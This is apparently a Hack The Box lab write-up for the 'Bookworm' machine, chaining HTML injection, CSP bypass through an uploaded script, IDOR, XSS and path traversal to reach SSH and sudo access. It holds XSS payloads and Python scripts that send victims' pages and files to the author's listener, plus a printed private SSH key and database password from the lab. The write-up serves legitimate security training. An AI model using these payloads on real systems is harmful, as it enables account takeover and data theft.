HTB Bookworm Writeup
Machine Info
Bookworm is an insane Linux machine that features a number of web exploitation techniques. It features a website for a book store with a checkout process vulnerable to HTML injection, as well as an IDOR vulnerability that allows the updating of shop baskets for any user. Leveraging these vulnerabilities is possible by taking advantage of an insecure avatar file upload, where a malicious JavaScript file can be uploaded to bypass CSP restrictions. By exploiting this chain of vulnerabilities a CSRF payload is crafted to enumerate hidden endpoints and discover an LFI to leak database credentials for the underlying ExpressJS web application. Lateral movement is achieved by exploiting an LFI and a symlink vulnerability with an eBook conversion utility. Finally, sudo access to a script susceptible to SQL Injection leads to privileged arbitrary file read/write through a PostScript template, leading to a shell as root.
Look at there have login form you can create your account login i’ve has been login so now we try find html injection
because on machine info there said vulnerable to Html Injection
also an IDOR vulnerability . First of all go to shop and add to basket after you added go to your basket and edit the note and fill it with html code like this <h1>dsd
then update the note . Going to complete checkout and html has been injected
Looking at the url there have number id so i thinking IDOR vulnerability on this url let’s we try change the number id . It’s not working maybe IDOR vulnerability on another path .I’ve been tried xss attack and it’s not working because it was prevent by CSP Content-Security-Policy: The page’s settings blocked the loading of a resource at inline (“script-src”)
.To bypass CSP script-src
need find xss in this domain and include with script src . Let’s do it
Shell as frank
### File Upload Bypass
Moving on to /profile
path
The form in /profile
we can upload avatar image for our account . Only jpg and png only can upload so we need bypass it the Content-Type
. We’ll upload test.jpg
with tampering burpsuite and i rename test.jpg
to test.txt
or also you can upload test.txt
directly and change the content-type but my situation now my test.txt
not are appearing so i need rename my file to .jpg first and rename on my burpsuite . Now upload your img and tampering with burpsuite and send to Repeater
You can using anything name extension files but you must Content-Type image/jpg
or image/png
XSS bypassing CSP
Now we’ve successfully bypassed file upload restrictions . So look at the response is worked has been bypassed so now we just append xss code on test.txt
Let’s take a minute to look at our existing findings:
- Ability to inject HTML into our basket
- Content Security Policy only allows sources for
self
- The web application is using
ExpressJS
- We bypassed file upload restrictions
Now we can upload a Javascript payload to our my avatar , also we can use HTML injection to load that payload , as it will then be sourced from the web application, thus bypassing the CSP. Let’s change our payload from sdstdtsdts
to this alert(1);
. Go back to repeater and change the payload in the file . To continious the xss attack bypass csp we need include file that contains javascript xss payload .
1
<script src="/static/img/uploads/14"></script>
Go to your basket and copy this payload and fill it on our edit note
CSP successfully bypassed
Foothold
Now that we have started to build an exploit chain, we need to determine how we can weaponize this against other users. We could attempt to do a cookie steal via XSS, but the HTTPOnly flag on the cookie will prevent this. We need a way to potentially attack another user to perform additional actions. The first step here is to identify how we can deliver our payload to another user. Knowing that we have HTML injection in a basket, we can start there. We begin by creating a secondary account to experiment with.
Insecure Direct Object Referencing (IDOR)
I’ve tried captured our basket’s Edit Note
request in Burpsuite
reveals a basket identifier in the URI . Look at POST
request showing id our basket’s . We can finding their basket ID and Send payload xss attack to steal victim cookie . To see if we can leverage this information , we add create one more account then we edit the request in Burpsuite
to point to our secondary accounts basket ID , which allows us to edit secondary accounts note .
1
2
3
4
5
6
7
8
9
10
11
12
fetch("http://bookworm.htb/profile", { mode: 'no-cors' })
.then((response) => response.text())
.then((text) => {
fetch("http://10.10.14.122:8000", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain',
},
body: text
});
});
I put this code on test.txt
and i included file path have malicious code javascript to Edit notes
but python3 -m http.server
does not support POST
response so our created code http.server the usage is same but the difference is this code support POST
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
python3 post.py
Starting server on port 8000
<...snip...>
<tr>
<th scope="row">Order #168</th>
<td>Tue Jan 23 2024 07:50:12 GMT+0000 (Coordinated Universal Time)</td>
<td>£14</td>
<td>
<a href="/order/168">View Order</
</td>
</tr>
<tr>
<th scope="row">Order #170</th>
<td>Tue Jan 23 2024 07:55:01 GMT+0000 (Coordinated Universal Time)</td>
<td>£17</td>
<td>
<a href="/order/170">View Order</
</td>
</tr>
<tr>
<th scope="row">Order #172</th>
<td>Tue Jan 23 2024 08:00:58 GMT+0000 (Coordinated Universal Time)</td>
<td>£17</td>
<td>
<a href="/order/172">View Order</
</td>
</tr>
<tr>
<th scope="row">Order #185</th>
<td>Tue Jan 23 2024 08:51:47 GMT+0000 (Coordinated Universal Time)</td>
<td>£14</td>
<td>
<a href="/order/185">View Order</
</td>
</tr>
<tr>
<th scope="row">Order #230</th>
<td>Tue Jan 23 2024 11:54:12 GMT+0000 (Coordinated Universal Time)</td>
<td>£14</td>
<td>
<a href="/order/230">View Order</
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
10.10.14.122 - - [23/Jan 2024 07:00:08] "POST / HTTP/1.1" 200 -
Script
I’ve been created POC to create new basket id and inject ou payload into them using the IDOR
vulnerability and with Xss
attack to get order a list of orders from existing users. Xss attack used for sending the orders from existing users to my webserver and i can get the a list of orders victim’s basket . The code at the below used for find victim’s orders id try one by one id also including with my malicious code javascript and after i running this poc i will got orders id victim.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// post.py
from http.server import BaseHTTPRequestHandler, HTTPServer
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode('utf-8'))
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8000):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f"Starting server on port {port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// basket.py
import re
import requests
# Update with the current session cookie
cookies = {
"session": "eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6ImRkc2QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==",
"session.sig": "-5nNf6x7vzlHPXj1CVaOCVxg2QM"
}
headers = {
"Cache-Control": "max-age=0",
"Content-Type": "application/x-www-form-urlencoded"
}
# Update with the profile image ID
data = {
"quantity": "1",
"note": "<script src=\"/static/img/uploads/14\"></script>"
}
prev_id = ""
def get_id():
try:
response = requests.get('http://bookworm.htb/shop', headers=headers, cookies=cookies)
find = r"<!-- (\d+) -->"
match = re.search(find, response.text)
if match:
return match.group(1)
except requests.RequestException as e:
print(f"Error fetching ID: {e}")
return None
while True:
try:
current_id = get_id()
if current_id and not current_id == prev_id:
print(f"Found new basket: {current_id}")
prev_id = current_id
url = f"http://bookworm.htb:80/basket/{current_id}/edit"
print(f"Sending basket update to: {url}")
requests.post(url, headers=headers, cookies=cookies, data=data)
except KeyboardInterrupt:
print('Exiting...')
exit()
except Exception as e:
print(f"Error: {e}")
To run this code we need running post.py
and basket.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python3 post.py | grep href
10.10.14.122 - - [23/Jan/2024 07:22:49] "POST / HTTP/1.1" 200 -
10.10.11.215 - - [23/Jan/2024 07:23:19] "POST / HTTP/1.1" 200 -
href="/static/css/bootstrap.min.css"
<a class="navbar-brand" href="#">Bookworm</a>
<a class="nav-link " href="/">Home</a>
<a class="nav-link " href="/shop">Shop</a>
<a class="nav-link " href="/basket">Basket (0)</a>
<a class="nav-link active" href="/profile">ddsd</a>
<a href="/logout" class="btn btn-danger w-100">Logout</a>
<a href="/order/168">View Order</
<a href="/order/170">View Order</
<a href="/order/172">View Order</
<a href="/order/185">View Order</
<a href="/order/230">View Order</
10.10.11.215 - - [23/Jan/2024 07:23:19] "POST / HTTP/1.1" 200 -
href="/static/css/bootstrap.min.css"
<a class="navbar-brand" href="#">Bookworm</a>
<a class="nav-link " href="/">Home</a>
<a class="nav-link " href="/shop">Shop</a>
<a class="nav-link " href="/basket">Basket (0)</a>
<a class="nav-link active" href="/profile">Joe Bubbler</a>
<a href="/logout" class="btn btn-danger w-100">Logout</a>
<a href="/order/1">View Order</
I got the response from basket.py
1
2
3
4
5
6
7
8
9
─# python3 update.py
Found new basket: 659
Sending basket update to: http://bookworm.htb:80/basket/659/edit
Found new basket: 660
Sending basket update to: http://bookworm.htb:80/basket/660/edit
Found new basket: 661
Sending basket update to: http://bookworm.htb:80/basket/661/edit
Found new basket: 662
Sending basket update to: http://bookworm.htb:80/basket/662/edit
Because the note in the basket section mentioned previous orders, let’s take a minute to evaluate the order numbers. We can see from the above output that there is a gap between the last order (196) and the first few (16,17,18).Let’s modify our payload
1
2
3
4
5
6
7
8
for (let i = 1; i <= 30; i++) {
fetch(`http://bookworm.htb/order/${i}`, { mode: 'no-cors', credentials: 'include' })
.then(response => response.text())
.then(text => {
fetch("http://10.10.14.50:8000", { mode: 'no-cors', method: "POST", body: text });
});
}
Copy our payload and go back to Repeater
and change file containing in test.txt
. After i ran post.py
and basket.py
i saw file .pdf on /download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<a href="/download/7?bookIds=9" download="Tom Slade with the Flying Corps: A Campfire Tale.pdf">Download e-book</a>
<a href="/profile">View Your Other Orders</a>
10.10.11.215 - - [23/Jan 2024 08:26:08] "POST / HTTP/1.1" 200 -
href="/static/css/bootstrap.min.css"
<a class="navbar-brand" href="#">Bookworm</a>
<a class="nav-link " href="/">Home</a>
<a class="nav-link " href="/shop">Shop</a>
<a class="nav-link " href="/basket">Basket (0)</a>
<a class="nav-link " href="/profile">Jakub Particles</a>
<a href="/download/8?bookIds=10" download="Ye Book of Copperheads.pdf">Download e-book</a>
<a href="/download/8?bookIds=11" download="La vigna vendemmiata: novelle.pdf">Download e-book</a>
<a href="/download/8?bookIds=7&bookIds=20" download>Download everything</a>
<a href="/profile">View Your Other Orders</a>
href="/static/css/bootstrap.min.css"
<a class="navbar-brand" href="#">Bookworm</a>
<a class="nav-link " href="/">Home</a>
<a class="nav-link " href="/shop">Shop</a>
<a class="nav-link " href="/basket">Basket (0)</a>
<a class="nav-link " href="/profile">Jakub Particles</a>
<a href="/download/9?bookIds=12" download="Through the Looking-Glass.pdf">Download e-book</a>
you can using python3 post.py | grep download
but to find this firstly i used grep href
to finding file or somethings else . Now i’ll try check the files one by one maybe one of it contain password and username to login ssh . We can’t access download link directly.We need modify our payload again to gain access download link and the type of content that it sends .
1
2
3
4
5
6
7
8
9
10
for(let i = 1; i <= 30; i++)
{
fetch("http://bookworm.htb/download/"+i+"?bookIds=13", { mode: 'no-cors',
credentials: 'include'})
.then((response) => response.text())
.then((text) => {
fetch("http://10.10.14.122:8000", { mode: 'no-cors', method:"POST", body:
text})
});
}
After a few minutes we have successfully get the file contain pdf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
10.10.11.215 - - [23/Jan/2024 08:46:53] "POST / HTTP/1.1" 200 -
%PDF-1.3
3 0 obj
<</Type /Page
/Parent 1 0 R
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 95>>
stream
x 3R 2 35W( r
Q w3T04 Z* [ ꙛ+ (hx$ +x $ f i* d L2 ` k gf P c
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [3 0 R ]
/Count 1
/MediaBox [0 0 595.28 841.89]
>>
Local File Inclusion
Let’s now test for a Local File Inclusion (LFI) vulnerability using the format of the “Download everything” links
Look at bookIds=
there combine to another files pdf so i think maybe we can Directory traversal and exploit Lfi .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
fetch('/profile', {credentials: 'include'})
.then((resp) => resp.text())
.then((resptext) => {
order_id = resptext.match(/\/order\/(\d+)/);
fetch("http://bookworm.htb/download/"+order_id[1]+"?bookIds=1&bookIds=../../../etc/passwd", {credentials: 'include'})
.then((resp2) => resp2.blob())
.then((data) => {
fetch("http://10.10.14.122/upload", {
method: "POST",
mode: 'no-cors',
body: data
});
});
});
1
2
3
4
5
6
7
8
9
Starting server on port 8000
p >VHans Holbein.pdfmR nA%F
R E"9 3^G *A^ HAX ^ 7 g 1 T
<...snip...>
N WW $ h c ?
VU < |. UxUy l K ǡo d m^ b / FA! z , c _O 9.!
ί ˲Kx P "Pp >Vɚ o Hans Holbein.pdfP V "'
Unknown.pdfPKw
10.10.11.215 - - [04/Dec/2023 18:14:30] "POST / HTTP/1.1" 200 -
the response still same as pdf file but look like zip file to get file contain Unknown.pdf
we’ll try create a python webserver to get the pdf file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// web.py
from pathlib import Path
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=["POST"])
def exfil():
print("Got a file")
data = request.get_data()
output = Path(f'upload/upload.zip')
output.write_bytes(data)
return ""
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=80)
Don’t forget create directory upload . After a few minutes i ran web.py
and basket.py
i got the pdf file
Update our payload to utilize the upload form
1
2
3
4
5
# unzip upload.zip
Archive: upload.zip
inflating: Alice's Adventures in Wonderland.pdf
inflating: Unknown.pdf
I’ve got the .pdf file so now let’s using strings command to verify vulnerable lfi or not
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# strings Unknown.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
frank:x:1001:1001:,,,:/home/frank:/bin/bash
neil:x:1002:1002:,,,:/home/neil:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
james:x:1000:1000:,,,:/home/james:/bin/bash
That vulnerable lfi and directory traversal . Look at /home directory there have 3 username is james
, neil
and frank
Enumerate File System
The website is used Express , Express usually used this name files and mostly them used this name files is
- index.js
- package.json
- app.js
- database.js
I thinking database.js
have the password for ssh let’s we get it . Our just using same payload at the above our just change the name file ../../../etc/passwd
to ../database.js
1
2
3
4
5
6
7
8
9
10
11
12
13
# strings Unknown.pdf
const { Sequelize, Model, DataTypes } = require("sequelize");
//const sequelize = new Sequelize("sqlite::memory::");
const sequelize = new Sequelize(
process.env.NODE_ENV === "production"
? {
dialect: "mariadb",
dialectOptions: {
host: "127.0.0.1",
user: "bookworm",
database: "bookworm",
password: "FrankTh3JobGiver",
},
i got the password from database let’s try login ssh with this username is james , neil and frank
and fill it with this password . I’ve been tried all username only frank successfully login . For privilege escalation i’ill try check what numbers port are open to exploit it . To check openport in localhost you can using netstat
Shell as neil
1
2
3
4
5
6
7
8
9
10
frank@bookworm:~$ netstat -tln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
The service on 127.0.0.1:3000 is just the server behind port 80:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
frank@bookworm:~$ curl localhost:3001
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>E-book Converter</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script>
</head>
<body>
<div class="container mt-4">
<h1 class="mt-4">Bookworm Converter Demo</h1>
<form method="POST" enctype="multipart/form-data" action="/convert">
<div class="mb-3">
<label for="convertFile" class="form-label">File to convert (epub, mobi, azw, pdf, odt, docx, ...)</label>
<input type="file" class="form-control" name="convertFile" accept=".epub,.mobi,.azw3,.pdf,.azw,.docx,.odt"/>
<div id="convertFileHelp" class="form-text">Your uploaded file will be deleted from our systems within 1 hour.</div>
</div>
<div class="mb-3">
<label for="outputType" class="form-label">Output file type</label>
<select name="outputType" class="form-control">
<option value="epub">E-Pub (.epub)</option>
<option value="docx">MS Word Document (.docx)</option>
<option value="az3">Amazon Kindle Format (.azw3)</option>
<option value="pdf">PDF (.pdf)</option>
</select>
</div>
Let’s we forward port 3001 to my localhost
ssh -L 3001:127.0.0.1:3001 frank@bookworm.htb
There show the file upload . There gave your hint with converter
so let’s we find the directory converter
. I found directory converter on /home/neil
1
2
3
4
5
frank@bookworm:/home$ ls
frank@bookworm:/home$ cd neil/
frank@bookworm:/home/neil$
frank@bookworm:/home/neil$ ls converter/
calibre index.js node_modules output package.json package-lock.json processing templates
Source Code review
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// index.js
const express = require("express");
const nunjucks = require("nunjucks");
const fileUpload = require("express-fileupload");
const path = require("path");
const { v4: uuidv4 } = require("uuid");
const fs = require("fs");
const child = require("child_process");
const app = express();
const port = 3001;
nunjucks.configure("templates", {
autoescape: true,
express: app,
});
app.use(express.urlencoded({ extended: false }));
app.use(
fileUpload({
limits: { fileSize: 2 * 1024 * 1024 },
})
);
const convertEbook = path.join(__dirname, "calibre", "ebook-convert");
app.get("/", (req, res) => {
const { error } = req.query;
res.render("index.njk", { error: error === "no-file" ? "Please specify a file to convert." : "" });
});
app.post("/convert", async (req, res) => {
const { outputType } = req.body;
if (!req.files || !req.files.convertFile) {
return res.redirect("/?error=no-file");
}
const { convertFile } = req.files;
const fileId = uuidv4();
const fileName = `${fileId}${path.extname(convertFile.name)}`;
const filePath = path.resolve(path.join(__dirname, "processing", fileName));
await convertFile.mv(filePath);
const destinationName = `${fileId}.${outputType}`;
const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));
console.log(filePath, destinationPath);
const converter = child.spawn(convertEbook, [filePath, destinationPath], {
timeout: 10_000,
});
converter.on("close", (code) => {
res.sendFile(path.resolve(destinationPath));
});
});
app.listen(port, "127.0.0.1", () => {
console.log(`Development converter listening on port ${port}`);
});
Look at index.js
there running as port 3000 so the source code on /home/neil
directory . To get priv8 key ssh neil we need upload pdf file but i’ve tried upload a pdf file but the response is Not Found
let’s we file bypass upload on Content-type
firstly create a txt file and rename to pdf file and upload that file and capturing with Burpsuite
and change pdf to txt you will get .epub
file . After that gonna unzip .epub
file . Do not forget send the request to Repeater
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Downloads]
└─$ unzip convert.epub
Archive: convert.epub
extracting: mimetype
creating: META-INF/
inflating: META-INF/container.xml
inflating: toc.ncx
inflating: index.html
inflating: stylesheet.css
inflating: page_styles.css
inflating: titlepage.xhtml
inflating: cover_image.jpg
inflating: content.opf
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Downloads]
└─$ cat index.html
<?xml version='1.0' encoding='utf-8'?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>a64a2ae5-ff70-43de-b64d-6b60d0c79c30</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="stylesheet.css"/>
<link rel="stylesheet" type="text/css" href="page_styles.css"/>
</head>
<body class="calibre">
<p class="calibre1">converted text file</p>
</body></html>
This means we can likely read files as the neil user . So we tried using img src
tag to capture priv8 keys .
1
2
frank@bookworm:/home/neil$ ls ../frank/.ssh
id_ed25519 id_ed25519.pub
Frank user used id_ed25519
this name file a priv8 key maybe neil user is same we’ll try
Go to repeater and change test.txt
to test.html
and change the file contains like this
<img src="file:///home/neil/.ssh/id_ed25519">
Right click mouse on the request and then click > Request in browser
> in original session
and then just copy the url and go to your browser and you will get the priv8 keys . Or you can just upload test.html
directly
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
──(kali㉿kali)-[~/Downloads/convert]
└─$ unzip convert1.epub
Archive: convert1.epub
extracting: mimetype
creating: META-INF/
inflating: META-INF/container.xml
inflating: toc.ncx
inflating: stylesheet.css
inflating: page_styles.css
inflating: titlepage.xhtml
inflating: cover_image.jpg
inflating: .id_ed25519
inflating: 65f057b9-d49c-491d-849b-8c27e971d444.html
inflating: content.opf
┌──(kali㉿kali)-[~/Downloads/convert]
└─$ cat .id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDqcgcBPB2+qqbrzHBH++n0a0xbnp088c/nj/jcObTGfwAAAJCAnJQ/gJyU
PwAAAAtzc2gtZWQyNTUxOQAAACDqcgcBPB2+qqbrzHBH++n0a0xbnp088c/nj/jcObTGfw
AAAEBrbl4nCKjLMwUPwU1NC7iqA3TZaJOHfcFK9sRmYmUXiepyBwE8Hb6qpuvMcEf76fRr
TFuenTzxz+eP+Nw5tMZ/AAAADW5laWxAYm9va3dvcm0=
-----END OPENSSH PRIVATE KEY-----
I got a priv8 key let’s we login as neil
user . Let’s we login
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Downloads/convert]
└─$ ssh -i .id_ed25519 neil@bookworm.htb
The authenticity of host 'bookworm.htb (10.10.11.215)' can't be established.
ED25519 key fingerprint is SHA256:AgjA6QZO27xdMZeO8OuusxsDQQ6eD0OCl71bDcSc8u8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bookworm.htb' (ED25519) to the list of known hosts.
neil@bookworm.htb's password:
There still need a password to login . Because on /home/neil/.ssh
not have authorized_keys so we need upload neil copy public key and creating authorized_keys
then paste the neil public key . To grab public key used same way at the above just append .pub
The payload is : <img src="file:///home/neil/.ssh/id_ed25519.pub">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Downloads/test]
└─$ unzip 'convert(1).epub'
Archive: convert(1).epub
extracting: mimetype
creating: META-INF/
inflating: META-INF/container.xml
inflating: id_ed25519.pub
inflating: toc.ncx
inflating: stylesheet.css
inflating: page_styles.css
inflating: 35b066b1-0f78-48cd-8c65-43f9c82658c3.html
inflating: titlepage.xhtml
inflating: cover_image.jpg
inflating: content.opf
1
2
3
┌──(kali㉿kali)-[~/Downloads/test]
└─$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOpyBwE8Hb6qpuvMcEf76fRrTFuenTzxz+eP+Nw5tMZ/ neil@bookworm
Symlink Attacks
Symlink on ebookconverter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
frank@bookworm:/home/neil/converter/calibre$ echo 'test' > /tmp/test.txt
frank@bookworm:/home/neil/converter/calibre$ ./ebook-convert /tmp/test.txt /tmp/test2.txt
1% Converting input to HTML...
InputFormatPlugin: TXT Input running
on /tmp/test.txt
Language not specified
Creator not specified
Building file list...
Normalizing filename cases
Rewriting HTML links
flow is too short, not running heuristics
Forcing index.html into XHTML namespace
34% Running transforms on e-book...
Merging user specified metadata...
Detecting structure...
Auto generated TOC with 0 entries.
Flattening CSS and remapping font sizes...
Source base font size is 12.00000pt
Removing fake margins...
Cleaning up manifest...
Trimming unused files from manifest...
Creating TXT Output...
67% Running TXT Output plugin
Converting XHTML to TXT...
TXT output written to /tmp/test2.txt
Output saved to /tmp/test2.txt
Look at there the Output can saved to /tmp/test2.txt
so on index.js
already combine with ebook-convert
so maybe we can symlink via website .
1
const convertEbook = path.join(__dirname, "calibre", "ebook-convert");
Web Symlink
So our found another way to upload the public keys as authorized_keys . Going to localhost:3001 we’ll try directory traversal in outputType
, since the web application does not seem to properly sanitize user input. In the outputType
section, we specify the path of the neil user’s authorized_keys file, in an attempt to write the public key to it.
It’s failed to created authorized_keys with a 404 Not Found
response . If we change the path to /tmp/test , we do see that neil is creating files in the directory that we specify
1
2
3
4
5
6
7
frank@bookworm:~$ ls /tmp
authorized_keys.txt systemd-private-a734598c94884452a8891be6212edbca-systemd-logind.service-9l7DUf
Crashpad systemd-private-a734598c94884452a8891be6212edbca-systemd-resolved.service-2DL51g
puppeteer_dev_chrome_profile-jc4KKv systemd-private-a734598c94884452a8891be6212edbca-systemd-timesyncd.service-gmrFPh
runtime-neil systemd-private-a734598c94884452a8891be6212edbca-upower.service-NddGQf
snap-private-tmp vmware-root_731-4248811549
systemd-private-a734598c94884452a8891be6212edbca-ModemManager.service-mSUb0e
The file has been uploaded in /tmp
directory so now we’ll run ln command to create a symbolic link (symlink) to an existing or directory
1
frank@bookworm:/dev/shm$ ln -s /home/neil/.ssh/authorized_keys pwn.txt
1
2
3
4
5
6
frank@bookworm:/dev/shm$ ls -la
total 4
drwxrwxrwt 2 root root 80 Jan 25 03:08 .
drwxr-xr-x 18 root root 3960 Jan 24 05:03 ..
-rw-r--r-- 1 neil neil 100 Jan 25 03:05 authorized_keys.txt
lrwxrwxrwx 1 frank frank 31 Jan 25 03:08 pwn.txt -> /home/neil/.ssh/authorized_keys
I’ve got 500 Internal Server
because has been protected by symlink protected_symlink
When set to “0”, symlink following behavior is unrestricted.
When set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.
We’ll try symlink from frank directory and create a symbolic link files .
1
2
3
frank@bookworm:~$ ln -s /home/neil/.ssh/authorized_keys b.txt
frank@bookworm:~$ pwd
/home/frank
It’s worked !! so now we just login the ssh with neil priv8 keys
Successfully login SSH
Shell as as root
1
2
3
4
5
6
neil@bookworm:~$ sudo -l
Matching Defaults entries for neil on bookworm:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User neil may run the following commands on bookworm:
(ALL) NOPASSWD: /usr/local/bin/genlabel
Neil user can run /usr/local/bin/genlabel
this as root .
1
2
3
4
5
6
7
neil@bookworm:~$ sudo /usr/local/bin/genlabel
Usage: genlabel [orderId]
neil@bookworm:~$ sudo /usr/local/bin/genlabel 11
Fetching order...
Generating PostScript file...
Generating PDF (until the printer gets fixed...)
Documents available in /tmp/tmp170yfwddprintgen
There generated a pdf file using order id .
I used python3 http.server to download output.pdf
Source
genlabel actually a python script not binary . The script are connects to the DB as the bookworm user just like on the website
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
import mysql.connector
import sys
import tempfile
import os
import subprocess
with open("/usr/local/labelgeneration/dbcreds.txt", "r") as cred_file:
db_password = cred_file.read().strip()
cnx = mysql.connector.connect(user='bookworm', password=db_password,
